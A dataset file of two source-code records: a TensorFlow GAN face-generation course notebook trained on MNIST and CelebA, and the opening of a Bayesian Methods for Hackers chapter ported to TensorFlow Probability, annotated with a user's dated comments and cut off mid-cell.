{"text": "\n# coding: utf-8\n\n# # Face Generation\n# In this project, you'll use generative adversarial networks to generate new images of faces.\n# ### Get the Data\n# You'll be using two datasets in this project:\n# - MNIST\n# - CelebA\n# \n# Since the celebA dataset is complex and you're doing GANs in a project for the first time, we want you to test your neural network on MNIST before CelebA.  Running the GANs on MNIST will allow you to see how well your model trains sooner.\n# \n# If you're using [FloydHub](https://www.floydhub.com/), set `data_dir` to \"/input\" and use the [FloydHub data ID](http://docs.floydhub.com/home/using_datasets/) \"R5KrjnANiKVhLWAkpXhNBe\".\n\n# In[1]:\n\ndata_dir = './data'\n\n# FloydHub - Use with data ID \"R5KrjnANiKVhLWAkpXhNBe\"\n#data_dir = '/input'\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nimport helper\nimport os\nimport pickle as pkl \nhelper.download_extract('mnist', data_dir)\nhelper.download_extract('celeba', data_dir)\n\n\n# ## Explore the Data\n# ### MNIST\n# As you're aware, the [MNIST](http://yann.lecun.com/exdb/mnist/) dataset contains images of handwritten digits. You can view the first number of examples by changing `show_n_images`. \n\n# In[2]:\n\nshow_n_images = 25\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\n#get_ipython().magic('matplotlib inline')\nimport os\nfrom glob import glob\nfrom matplotlib import pyplot\nimport ipdb\nfrom IPython import embed\npyplot.ion()\n\nmnist_images = helper.get_batch(glob(os.path.join(data_dir, 'mnist/*.jpg'))[:show_n_images], 28, 28, 'L')\npyplot.imshow(helper.images_square_grid(mnist_images, 'L'), cmap='gray')\n\n\n# ### CelebA\n# The [CelebFaces Attributes Dataset (CelebA)](http://mmlab.ie.cuhk.edu.hk/projects/CelebA.html) dataset contains over 200,000 celebrity images with annotations.  Since you're going to be generating faces, you won't need the annotations.  You can view the first number of examples by changing `show_n_images`.\n\n# In[3]:\n\nshow_n_images = 25\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nmnist_images = helper.get_batch(glob(os.path.join(data_dir, 'img_align_celeba/*.jpg'))[:show_n_images], 28, 28, 'RGB')\npyplot.imshow(helper.images_square_grid(mnist_images, 'RGB'))\n\n\n# ## Preprocess the Data\n# Since the project's main focus is on building the GANs, we'll preprocess the data for you.  The values of the MNIST and CelebA dataset will be in the range of -0.5 to 0.5 of 28x28 dimensional images.  The CelebA images will be cropped to remove parts of the image that don't include a face, then resized down to 28x28.\n# \n# The MNIST images are black and white images with a single [color channel](https://en.wikipedia.org/wiki/Channel_(digital_image%29) while the CelebA images have [3 color channels (RGB color channel)](https://en.wikipedia.org/wiki/Channel_(digital_image%29#RGB_Images).\n# ## Build the Neural Network\n# You'll build the components necessary to build a GANs by implementing the following functions below:\n# - `model_inputs`\n# - `discriminator`\n# - `generator`\n# - `model_loss`\n# - `model_opt`\n# - `train`\n# \n# ### Check the Version of TensorFlow and Access to GPU\n# This will check to make sure you have the correct version of TensorFlow and access to a GPU\n\n# In[4]:\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nfrom distutils.version import LooseVersion\nimport warnings\nimport tensorflow as tf\n\n# Check TensorFlow Version\nassert LooseVersion(tf.__version__) >= LooseVersion('1.0'), 'Please use TensorFlow version 1.0 or newer.  You are using {}'.format(tf.__version__)\nprint('TensorFlow Version: {}'.format(tf.__version__))\n\n# Check for a GPU\nif not tf.test.gpu_device_name():\n    warnings.warn('No GPU found. Please use a GPU to train your neural network.')\nelse:\n    print('Default GPU Device: {}'.format(tf.test.gpu_device_name()))\n\n\n# ### Input\n# Implement the `model_inputs` function to create TF Placeholders for the Neural Network. It should create the following placeholders:\n# - Real input images placeholder with rank 4 using `image_width`, `image_height`, and `image_channels`.\n# - Z input placeholder with rank 2 using `z_dim`.\n# - Learning rate placeholder with rank 0.\n# \n# Return the placeholders in the following the tuple (tensor of real input images, tensor of z data)\n\n# In[5]:\n\nimport problem_unittests as tests\n\ndef model_inputs(image_width, image_height, image_channels, z_dim):\n    \"\"\"\n    Create the model inputs\n    :param image_width: The input image width\n    :param image_height: The input image height\n    :param image_channels: The number of image channels\n    :param z_dim: The dimension of Z\n    :return: Tuple of (tensor of real input images, tensor of z data, learning rate)\n    \"\"\"\n    # TODO: Implement Function\n    real_input = tf.placeholder(tf.float32,shape=(None, image_width, image_height, image_channels),name='real_input')\n    tensor_z = tf.placeholder(tf.float32, shape=(None,z_dim),name='random_z')\n    learning_rate = tf.placeholder(tf.float32,name='lr')\n    return real_input, tensor_z, learning_rate\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_model_inputs(model_inputs)\n\n\n# ### Discriminator\n# Implement `discriminator` to create a discriminator neural network that discriminates on `images`.  This function should be able to reuse the variabes in the neural network.  Use [`tf.variable_scope`](https://www.tensorflow.org/api_docs/python/tf/variable_scope) with a scope name of \"discriminator\" to allow the variables to be reused.  The function should return a tuple of (tensor output of the discriminator, tensor logits of the discriminator).\n\n# In[6]:\n\ndef discriminator(images, reuse=False, is_train=True):\n    \"\"\"\n    Create the discriminator network\n    :param image: Tensor of input image(s)\n    :param reuse: Boolean if the weights should be reused\n    :return: Tuple of (tensor output of the discriminator, tensor logits of the discriminator)\n    \"\"\"\n    with tf.variable_scope('discriminator', reuse=reuse) as scope:\n        # input is 28X28X3\n        alpha = 0.2\n        x = tf.layers.conv2d(images,32,(5,5),strides=(2,2), activation=None, padding='same')\n        x = tf.maximum(alpha*x,x)\n        # x is 14X14X32\n        x = tf.layers.conv2d(x,64,(5,5),strides=(2,2), activation=None, padding='same')\n        x = tf.layers.batch_normalization(x, training=is_train)\n        x = tf.maximum(alpha*x,x)\n        # x is 7X7X64\n        x = tf.layers.conv2d(x,128,(5,5),strides=(2,2), activation=None, padding='same')\n        x = tf.layers.batch_normalization(x, training=is_train)\n        x = tf.maximum(alpha*x,x)\n        # x is 4X4X128\n\n        flat = tf.reshape(x, (-1, 4*4*128))\n        logits = tf.layers.dense(flat,1)\n        out = tf.nn.sigmoid(logits)\n    return out, logits\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_discriminator(discriminator, tf)\n\n\n# ### Generator\n# Implement `generator` to generate an image using `z`. This function should be able to reuse the variabes in the neural network.  Use [`tf.variable_scope`](https://www.tensorflow.org/api_docs/python/tf/variable_scope) with a scope name of \"generator\" to allow the variables to be reused. The function should return the generated 28 x 28 x `out_channel_dim` images.\n\n# In[7]:\n\ndef generator(z, out_channel_dim, is_train=True):\n    \"\"\"\n    Create the generator network\n    :param z: Input z\n    :param out_channel_dim: The number of channels in the output image\n    :param is_train: Boolean if generator is being used for training\n    :return: The tensor output of the generator\n    \"\"\"\n    alpha = 0.2\n    in_channels = 512\n    with tf.variable_scope('generator', reuse= (not is_train)) as scope:\n        # TODO: Implement Function\n        # z is a one dimensional random vector\n        x = tf.layers.dense(z, 4*4*in_channels)\n        x = tf.reshape(x,(-1, 4, 4, in_channels))\n        x = tf.layers.batch_normalization(x, training=is_train, center=False, scale=False)\n        x = tf.maximum(alpha*x, x)\n        # 4*4*in_channels\n\n        x = tf.layers.conv2d_transpose(x, int(in_channels/2), (5,5),(2,2),padding='same')\n        x = tf.layers.batch_normalization(x, training=is_train, center=False, scale=False)\n        x = tf.maximum(alpha*x, x)\n        # 8*8*in_channels/2        - 512\n\n        x1 = tf.slice(x,[0,1,1,0],[-1,-1,-1,-1])\n        # 7*7*in_channels/2        \n\n        x1 = tf.layers.conv2d_transpose(x1,int(in_channels/4),(5,5),(2,2),padding='same')\n        x1 = tf.layers.batch_normalization(x1, training=is_train, center=False, scale=False)\n        x1 = tf.maximum(alpha*x1, x1)\n        # 14*14*in_channels/2  - 256\n        if in_channels>512:\n            x1 = tf.layers.conv2d_transpose(x1,int(in_channels/8),(5,5),(2,2),padding='same')\n            x1 = tf.layers.batch_normalization(x1, training=is_train, center=False, scale=False)\n            x1 = tf.maximum(alpha*x1, x1)\n            x1 = tf.layers.conv2d_transpose(x1, out_channel_dim,(5,5),(1,1),padding='same')\n            # 28*28*in_channels/2  - 128\n        else:\n            x1 = tf.layers.conv2d_transpose(x1, out_channel_dim,(5,5),(2,2),padding='same')\n            # 28X28* 128\n        \n        out = tf.tanh(x1)\n    \n    return out\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\n#tests.test_generator(generator, tf)\n\n\n# ### Loss\n# Implement `model_loss` to build the GANs for training and calculate the loss.  The function should return a tuple of (discriminator loss, generator loss).  Use the following functions you implemented:\n# - `discriminator(images, reuse=False)`\n# - `generator(z, out_channel_dim, is_train=True)`\n\n# In[8]:\n\ndef model_loss(input_real, input_z, out_channel_dim):\n    \"\"\"\n    Get the loss for the discriminator and generator\n    :param input_real: Images from the real dataset\n    :param input_z: Z input\n    :param out_channel_dim: The number of channels in the output image\n    :return: A tuple of (discriminator loss, generator loss)\n    \"\"\"\n    real_out, real_logits = discriminator(input_real, reuse=False)\n    fake_image = generator(input_z, out_channel_dim, is_train=True)\n    fake_out, fake_logits = discriminator(fake_image, reuse=True)\n    smooth = 0.9\n    d_real_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits = real_logits, labels = tf.ones_like(real_logits)*smooth))\n    d_fake_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits = fake_logits, labels = tf.zeros_like(fake_logits)))\n    d_loss = d_real_loss + d_fake_loss\n    \n    g_loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(logits = fake_logits, labels = tf.ones_like(fake_logits)))\n    \n    return d_loss, g_loss\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_model_loss(model_loss)\n\n\n# ### Optimization\n# Implement `model_opt` to create the optimization operations for the GANs. Use [`tf.trainable_variables`](https://www.tensorflow.org/api_docs/python/tf/trainable_variables) to get all the trainable variables.  Filter the variables with names that are in the discriminator and generator scope names.  The function should return a tuple of (discriminator training operation, generator training operation).\n\n# In[9]:\n\ndef model_opt(d_loss, g_loss, learning_rate, beta1):\n    \"\"\"\n    Get optimization operations\n    :param d_loss: Discriminator loss Tensor\n    :param g_loss: Generator loss Tensor\n    :param learning_rate: Learning Rate Placeholder\n    :param beta1: The exponential decay rate for the 1st moment in the optimizer\n    :return: A tuple of (discriminator training operation, generator training operation)\n    \"\"\"\n    # TODO: Implement Function\n    t_vars = tf.trainable_variables()\n    d_vars = [var for var in t_vars if var.name.startswith('discriminator')]\n    g_vars = [var for var in t_vars if var.name.startswith('generator')]\n    \n    with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):\n        d_train_opt = tf.train.AdamOptimizer(learning_rate=learning_rate, beta1=beta1).minimize(d_loss,var_list = d_vars)\n        g_train_opt = tf.train.AdamOptimizer(learning_rate=learning_rate, beta1=beta1).minimize(g_loss,var_list = g_vars)\n    \n    return d_train_opt, g_train_opt\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_model_opt(model_opt, tf)\n\n\n# ## Neural Network Training\n# ### Show Output\n# Use this function to show the current output of the generator during training. It will help you determine how well the GANs is training.\n\n# In[10]:\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nimport numpy as np\n\ndef show_generator_output(sess, n_images, input_z, out_channel_dim, image_mode):\n    \"\"\"\n    Show example output for the generator\n    :param sess: TensorFlow session\n    :param n_images: Number of Images to display\n    :param input_z: Input Z Tensor\n    :param out_channel_dim: The number of channels in the output image\n    :param image_mode: The mode to use for images (\"RGB\" or \"L\")\n    \"\"\"\n    cmap = None if image_mode == 'RGB' else 'gray'\n    z_dim = input_z.get_shape().as_list()[-1]\n    example_z = np.random.uniform(-1, 1, size=[n_images, z_dim])\n\n    samples = sess.run(\n        generator(input_z, out_channel_dim, False),\n        feed_dict={input_z: example_z})\n    \n    #ipdb.set_trace()\n    images_grid = helper.images_square_grid(samples, image_mode)\n    pyplot.imshow(images_grid, cmap=cmap)\n    pyplot.show()\n    return samples\n\n\n# ### Train\n# Implement `train` to build and train the GANs.  Use the following functions you implemented:\n# - `model_inputs(image_width, image_height, image_channels, z_dim)`\n# - `model_loss(input_real, input_z, out_channel_dim)`\n# - `model_opt(d_loss, g_loss, learning_rate, beta1)`\n# \n# Use the `show_generator_output` to show `generator` output while you train. Running `show_generator_output` for every batch will drastically increase training time and increase the size of the notebook.  It's recommended to print the `generator` output every 100 batches.\n\n# In[11]:\n\ndef train(epoch_count, batch_size, z_dim, learning_rate, beta1, get_batches, data_shape, data_image_mode):\n    \"\"\"\n    Train the GAN\n    :param epoch_count: Number of epochs\n    :param batch_size: Batch Size\n    :param z_dim: Z dimension\n    :param learning_rate: Learning Rate\n    :param beta1: The exponential decay rate for the 1st moment in the optimizer\n    :param get_batches: Function to get batches\n    :param data_shape: Shape of the data\n    :param data_image_mode: The image mode to use for images (\"RGB\" or \"L\")\n    \"\"\"\n    # TODO: Build Model\n    ckpt_dir = './checkpoint'\n    if not os.path.exists(ckpt_dir):\n        os.makedirs(ckpt_dir)\n       \n    show_every = 100 # show every 1000 iter\n    num_train_examples = data_shape[0]\n    image_width = data_shape[1]\n    image_height = data_shape[2]\n    image_channels = data_shape[3]\n    sample_z = np.random.uniform(-1,1,size=(batch_size,z_dim))\n\n    # defined the net here\n    input_real, input_z, learning_rate_ph = model_inputs(image_width, image_height, image_channels,z_dim)\n    d_loss, g_loss = model_loss(input_real, input_z, image_channels )\n    d_train_opt, g_train_opt = model_opt(d_loss, g_loss, learning_rate_ph, beta1)\n\n    saver = tf.train.Saver()\n    counter = 0\n    with tf.Session() as sess:\n        sess.run(tf.global_variables_initializer())\n        #samples = sess.run(generator(input_z, image_channels, False), feed_dict={input_z:np.random.uniform(-1, 1, size=[batch_size, z_dim])})\n        # images1 = next(get_batches(batch_size))\n        # samples = sess.run(discriminator(input_real,True), feed_dict={input_real:images1})\n        for epoch_i in range(epoch_count):\n            generated_sample_list = []\n            for iter, batch_images in enumerate(get_batches(batch_size)):\n                batch_z = np.random.uniform(-1,1,size=(batch_size,z_dim))\n                counter +=1\n                # TODO: Train Model\n                if iter % 5 == 0:\n                    _, d_loss_val = sess.run([d_train_opt, d_loss],feed_dict =\n                                             {input_real:batch_images,\n                                              input_z: batch_z,\n                                             learning_rate_ph:learning_rate})\n\n                _, g_loss_val = sess.run([g_train_opt, g_loss],feed_dict={input_real:batch_images,\n                                                  input_z: batch_z,\n                                                  learning_rate_ph:learning_rate})\n                if counter % 10 == 0:\n                    print ('epoch:{} iter:{} counter:{} d_loss:{} g_loss:{}'.format(epoch_i, iter, counter, d_loss_val, g_loss_val))\n\n                if show_every > 0 and counter % show_every == 0:\n                    n_images = 16\n                    generated_samples = show_generator_output(sess, n_images, input_z, image_channels, data_image_mode)\n                    generated_sample_list.append((epoch_i, counter, generated_samples))\n            \n            ckpt = '{}/generator_epoch_{}.ckpt'.format(ckpt_dir,epoch_i)\n            saver.save(sess, ckpt)\n            with open('samples{}.pkl'.format(epoch_i), 'wb') as fp:\n                pkl.dump(generated_sample_list,fp)\n    \n# ### MNIST\n# Test your GANs architecture on MNIST.  After 2 epochs, the GANs should be able to generate images that look like handwritten digits.  Make sure the loss of the generator is lower than the loss of the discriminator or close to 0.\n\n# In[13]:\n\nbatch_size = 128\nz_dim = 100\nlearning_rate = 0.0002\nbeta1 = 0.5\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ndo_train = True\nepochs = 2\nmnist_dataset = helper.Dataset('mnist', glob(os.path.join(data_dir, 'mnist/*.jpg')))\nif do_train:\n    with tf.Graph().as_default():\n        train(epochs, batch_size, z_dim, learning_rate, beta1, mnist_dataset.get_batches,\n              mnist_dataset.shape, mnist_dataset.image_mode)\n    \n\ndef inference(ckpt, batch_size, z_dim, get_batches, data_shape, data_image_mode):\n\n    show_every = 1 # show every 1000 iter\n    num_train_examples = data_shape[0]\n    image_width = data_shape[1]\n    image_height = data_shape[2]\n    image_channels = data_shape[3]\n    sample_z = np.random.uniform(-1,1,size=(batch_size,z_dim))\n    generated_sample_list = []\n\n    # defined the net here\n    input_real, input_z, learning_rate_ph = model_inputs(image_width, image_height, image_channels,z_dim)\n    d_loss, g_loss = model_loss(input_real, input_z, image_channels )\n    d_train_opt, g_train_opt = model_opt(d_loss, g_loss, learning_rate_ph, beta1)\n\n    saver = tf.train.Saver()\n    counter = 0\n    n_images = 10\n    with tf.Session() as sess:\n        saver.restore(sess, ckpt)\n        print ('Model restored')        \n        generated_samples = show_generator_output(sess, n_images, input_z, image_channels, data_image_mode)\n        generated_sample_list.append((0, counter, generated_samples))\n        #ipdb.set_trace()\n\nif not do_train:\n    with tf.Graph().as_default():\n        ckpt1 = './checkpoint/generator_epoch_0.ckpt'\n        inference(ckpt1, batch_size, z_dim, mnist_dataset.get_batches, mnist_dataset.shape, mnist_dataset.image_mode)\n\nif 0:\n    # ### CelebA\n    # Run your GANs on CelebA.  It will take around 20 minutes on the average GPU to run one epoch.  You can run the whole epoch or stop when it starts to generate realistic faces.\n\n    # In[ ]:\n\n    batch_size = None\n    z_dim = None\n    learning_rate = None\n    beta1 = None\n\n\n    \"\"\"\n    DON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n    \"\"\"\n    epochs = 1\n\n    celeba_dataset = helper.Dataset('celeba', glob(os.path.join(data_dir, 'img_align_celeba/*.jpg')))\n    with tf.Graph().as_default():\n        train(epochs, batch_size, z_dim, learning_rate, beta1, celeba_dataset.get_batches,\n              celeba_dataset.shape, celeba_dataset.image_mode)\n\n\n    # ### Submitting This Project\n    # When submitting this project, make sure to run all the cells before saving the notebook. Save the notebook file as \"dlnd_face_generation.ipynb\" and save it as a HTML file under \"File\" -> \"Download as\". Include the \"helper.py\" and \"problem_unittests.py\" files in your submission.\n", "meta": {"hexsha": "27ff7386e35d253c62816f4d687d9eda04dc4492", "size": 20052, "ext": "py", "lang": "Python", "max_stars_repo_path": "face_generation/dlnd_face_generation.py", "max_stars_repo_name": "kitu2007/dl_class", "max_stars_repo_head_hexsha": "e0b4ba14df44306ebee0cc1907c94815a35e0441", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "face_generation/dlnd_face_generation.py", "max_issues_repo_name": "kitu2007/dl_class", "max_issues_repo_head_hexsha": "e0b4ba14df44306ebee0cc1907c94815a35e0441", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "face_generation/dlnd_face_generation.py", "max_forks_repo_name": "kitu2007/dl_class", "max_forks_repo_head_hexsha": "e0b4ba14df44306ebee0cc1907c94815a35e0441", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.0061349693, "max_line_length": 451, "alphanum_fraction": 0.6953919808, "include": true, "reason": "import numpy", "num_tokens": 5029, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.1919327864472368, "lm_q1q2_score": 0.092968419274829}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     formats: ipynb,py:light\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.4'\n#       jupytext_version: 1.2.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# + {\"colab_type\": \"text\", \"id\": \"6Tmmlr92MZVj\", \"slideshow\": {\"slide_type\": \"slide\"}, \"cell_type\": \"markdown\"}\n# # Probabilistic Programming and Bayesian Methods for Hackers Chapter 1\n#\n# <table class=\"tfo-notebook-buttons\" align=\"left\">\n#   <td>\n#     <a target=\"_blank\" href=\"https://colab.research.google.com/github/CamDavidsonPilon/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/blob/master/Chapter1_Introduction/Ch1_Introduction_TFP.ipynb\"><img height=\"32px\" src=\"https://colab.research.google.com/img/colab_favicon.ico\" />Run in Google Colab</a>\n#   </td>\n#   <td>\n#     <a target=\"_blank\" href=\"https://github.com/CamDavidsonPilon/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/blob/master/Chapter1_Introduction/Ch1_Introduction_TFP.ipynb\"><img src=\"https://www.tensorflow.org/images/GitHub-Mark-32px.png\" />View source on GitHub</a>\n#   </td>\n# </table>\n# <br>\n# <br>\n# <br>\n#\n# Original content ([this Jupyter notebook](https://nbviewer.jupyter.org/github/CamDavidsonPilon/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/blob/master/Chapter1_Introduction/Ch1_Introduction_PyMC2.ipynb)) created by Cam Davidson-Pilon ([`@Cmrn_DP`](https://twitter.com/Cmrn_DP))\n#\n# Ported to [Tensorflow Probability](https://www.tensorflow.org/probability/) by Matthew McAteer ([`@MatthewMcAteer0`](https://twitter.com/MatthewMcAteer0)) and Bryan Seybold, with help from the TFP team at  Google ([`tfprobability@tensorflow.org`](mailto:tfprobability@tensorflow.org)).\n#\n# Welcome to Bayesian Methods for Hackers. The full Github repository is available at [github/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers](https://github.com/CamDavidsonPilon/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers). The other chapters can be found on the project's [homepage](https://camdavidsonpilon.github.io/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/). We hope you enjoy the book, and we encourage any contributions!\n#\n# ---\n# ### Table of Contents\n# - Dependencies & Prerequisites\n# - The Philosophy of Bayesian Inference\n# - The Bayesian state of mind\n# - Bayesian Inference in Practice\n# - Are frequentist methods incorrect then?\n# - Our Bayesian framework\n# - Example: Mandatory coin-flip example\n# - Example: Bug, or just sweet, unintended feature?\n# - Probability Distributions\n#   - Discrete Case\n# - Continuous Case\n# - But what is $\\lambda \\;$?\n#   - Example: Inferring behaviour from text-message data\n# - Introducing our first hammer: Tensorflow Probability\n# - specify the joint log-density\n# - Specify the posterior sampler\n# - Execute the TF graph to sample from the posterior\n# - Plot the Results\n# - Interpretation\n# - Exercises\n# - References\n\n# + {\"colab_type\": \"text\", \"id\": \"YcJ8nEDVH30J\", \"cell_type\": \"markdown\"}\n# ### Dependencies & Prerequisites\n#\n# <div class=\"alert alert-success\">\n#     Tensorflow Probability is part of the colab default runtime, <b>so you don't need to install Tensorflow or Tensorflow Probability if you're running this in the colab</b>. \n#     <br>\n#     If you're running this notebook in Jupyter on your own machine (and you have already installed Tensorflow), you can use the following\n#     <br>\n#       <ul>\n#     <li> For the most recent nightly installation: <code>pip3 install -q tfp-nightly</code></li>\n#     <li> For the most recent stable TFP release: <code>pip3 install -q --upgrade tensorflow-probability</code></li>\n#     <li> For the most recent stable GPU-connected version of TFP: <code>pip3 install -q --upgrade tensorflow-probability-gpu</code></li>\n#     <li> For the most recent nightly GPU-connected version of TFP: <code>pip3 install -q tfp-nightly-gpu</code></li>\n#     </ul>\n# Again, if you are running this in a Colab, Tensorflow and TFP are already installed\n# </div>\n# -\n\n# ## 2020-02-07\n#\n# The following code cell contains bizarre comment formatting, like `#@title` ... `{ display-mode: \"form\" }` and `#@markdown`. Is that Colab-specific Markdown?\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"RUEQ5hdvKZLB\"}\n#@title Imports and Global Variables (make sure to run this cell)  { display-mode: \"form\" }\n# 2020-02-07: wait, why am I importing from __future__ if I'm running python 3.6? I'll do it anyway and figure out why later.\nfrom __future__ import absolute_import, division, print_function\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"RUEQ5hdvKZLB\"}\n#@markdown This sets the warning status (default is `ignore`, since this notebook runs correctly)\n# 2020-02-07: you know what? Let's always see warnings.\nwarning_status = \"always\" #@param [\"ignore\", \"always\", \"module\", \"once\", \"default\", \"error\"]\nimport warnings\nwarnings.filterwarnings(warning_status)\nwith warnings.catch_warnings():\n    warnings.filterwarnings(warning_status, category=DeprecationWarning)\n    warnings.filterwarnings(warning_status, category=UserWarning)\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"RUEQ5hdvKZLB\"}\nimport numpy as np\nimport os\n#@markdown This sets the styles of the plotting (default is styled like plots from [FiveThirtyeight.com](https://fivethirtyeight.com/))\nmatplotlib_style = 'fivethirtyeight' #@param ['fivethirtyeight', 'bmh', 'ggplot', 'seaborn', 'default', 'Solarize_Light2', 'classic', 'dark_background', 'seaborn-colorblind', 'seaborn-notebook']\nimport matplotlib.pyplot as plt; plt.style.use(matplotlib_style)\nimport matplotlib.axes as axes\nfrom matplotlib.patches import Ellipse\n# %matplotlib inline\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"RUEQ5hdvKZLB\"}\nimport seaborn as sns; sns.set_context('notebook')\nfrom IPython.core.pylabtools import figsize\n#@markdown This sets the resolution of the plot outputs (`retina` is the highest resolution)\nnotebook_screen_res = 'retina' #@param ['retina', 'png', 'jpeg', 'svg', 'pdf']\n# %config InlineBackend.figure_format = notebook_screen_res\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"RUEQ5hdvKZLB\"}\nimport tensorflow as tf\n## 2020-02-07: According to https://www.tensorflow.org/guide/eager\n## In Tensorflow 2.0, eager execution is enabled by default.\n##\n# tfe = tf.contrib.eager\ntf.__version__\n# -\ntf.executing_eagerly()\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"RUEQ5hdvKZLB\"}\n## 2020-02-07: this cell is made obsolete by TF 2.0. (Maybe I could open some pull requests to modernize this tutorial,\n## but then I'd have to clone it again and not make these ad-hoc comments to myself)\n##\n## Eager Execution\n##@markdown Check the box below if you want to use [Eager Execution](https://www.tensorflow.org/guide/eager)\n##@markdown Eager execution provides An intuitive interface, Easier debugging, and a control flow comparable to Numpy. You can read more about it on the [Google AI Blog](https://ai.googleblog.com/2017/10/eager-execution-imperative-define-by.html)\n# use_tf_eager = False #@param {type:\"boolean\"}\n# # Use try/except so we can easily re-execute the whole notebook.\n# if use_tf_eager:\n#     try:\n#         tf.enable_eager_execution()\n#     except:\n#         pass\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"RUEQ5hdvKZLB\"}\nimport tensorflow_probability as tfp\ntfd = tfp.distributions\ntfb = tfp.bijectors\n\n\n# -\n\n# **2020-02-07:** someday, this Tensorflow boilerplate will make sense to me, but today is not that day.\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"RUEQ5hdvKZLB\"}\ndef evaluate(tensors):\n    \"\"\"Evaluates Tensor or EagerTensor to Numpy `ndarray`s.\n    Args:\n    tensors: Object of `Tensor` or EagerTensor`s; can be `list`, `tuple`,\n      `namedtuple` or combinations thereof.\n \n    Returns:\n      ndarrays: Object with same structure as `tensors` except with `Tensor` or\n        `EagerTensor`s replaced by Numpy `ndarray`s.\n    \"\"\"\n    if tf.executing_eagerly():\n        return tf.contrib.framework.nest.pack_sequence_as(\n            tensors,\n            [t.numpy() if tf.contrib.framework.is_tensor(t) else t\n             for t in tf.contrib.framework.nest.flatten(tensors)])\n    return sess.run(tensors)\n\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"RUEQ5hdvKZLB\"}\n# 2020-02-07: this is strikingly out of place. Why are we manually defining a colormap?\nclass _TFColor(object):\n    \"\"\"Enum of colors used in TF docs.\"\"\"\n    red = '#F15854'\n    blue = '#5DA5DA'\n    orange = '#FAA43A'\n    green = '#60BD68'\n    pink = '#F17CB0'\n    brown = '#B2912F'\n    purple = '#B276B2'\n    yellow = '#DECF3F'\n    gray = '#4D4D4D'\n    def __getitem__(self, i):\n        return [\n            self.red,\n            self.orange,\n            self.green,\n            self.blue,\n            self.pink,\n            self.brown,\n            self.purple,\n            self.yellow,\n            self.gray,\n        ][i % 9]\nTFColor = _TFColor()\n\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"RUEQ5hdvKZLB\"}\ndef session_options(enable_gpu_ram_resizing=True, enable_xla=False):\n    \"\"\"\n    Allowing the notebook to make use of GPUs if they're available.\n    \n    XLA (Accelerated Linear Algebra) is a domain-specific compiler for linear \n    algebra that optimizes TensorFlow computations.\n    \"\"\"\n    config = tf.compat.v1.ConfigProto()\n    config.log_device_placement = True\n    if enable_gpu_ram_resizing:\n        # `allow_growth=True` makes it possible to connect multiple colabs to your\n        # GPU. Otherwise the colab malloc's all GPU ram.\n        config.gpu_options.allow_growth = True\n    if enable_xla:\n        # Enable on XLA. https://www.tensorflow.org/performance/xla/.\n        config.graph_options.optimizer_options.global_jit_level = (\n            tf.OptimizerOptions.ON_1)\n    return config\n\n\n# + {\"colab\": {}, \"colab_type\": \"code\", \"id\": \"RUEQ5hdvKZLB\"}\n# 2020-02-07: in this cell and the one above it, I had to manually change the namespaces \n# from tf. to tf.compat.v1. This does not strike me as elegant. What's the recommended TF 2 way of doing this?\ndef reset_sess(config=None):\n    \"\"\"\n    Convenience function to create the TF graph & session or reset them.\n    \"\"\"\n    if config is None:\n        config = session_options(enable_gpu_ram_resizing=True, enable_xla=False)\n    global sess\n    tf.compat.v1.reset_default_graph()\n    try:\n        sess.close()\n    except:\n        pass\n    sess = tf.compat.v1.InteractiveSession(config=config)\n\nreset_sess()\n\n# + {\"colab_type\": 